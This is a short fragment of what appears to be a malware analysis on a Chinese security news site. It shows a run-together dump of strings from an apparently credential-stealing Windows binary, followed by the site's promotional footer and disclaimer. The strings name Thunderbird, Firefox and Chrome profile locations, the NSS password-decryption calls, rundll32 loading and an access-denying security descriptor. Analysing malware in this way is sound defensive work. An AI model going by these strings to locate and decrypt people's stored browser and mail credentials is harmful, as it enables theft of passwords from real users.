%systemroot%/00_GetInternalKeySlotPK11SDR_Decrypt%systemroot%system32c_1252.nls%PROGRAMFILES%MozillaThunderbird%USERPROFILE%AppDataRoamingThunderbirdProfiles*.%S%S,%S,%S%c%02XSOFTWAREMicrosoftWindowsNTCurrentVersionInstallDate\.%srundll32msvfw32ICOpenICCloseICInforundll32"%s",%SDllRegisterServerIsWow64ProcessWow64EnableWow64FsRedirectionD:(D;OICI;GA;;;BG)(D;OICI;GA;;;AN)(A;OICI;GA;;;AU)(A;OICI;GA;;;BA)%userprofile%AppDataLocalGoogleChromeUserDataDefaultcache%userprofile%AppDataLocalMozillaFirefoxProfiles登录安全客-有思想的安全新媒体,或加入交流群814450983、下载安全客APP来获取更多最新资讯吧~
免责声明:本文章如果文章侵权,请联系我们处理,本站仅提供信息存储空间服务如因作品内容、版权和其他问题请于本站联系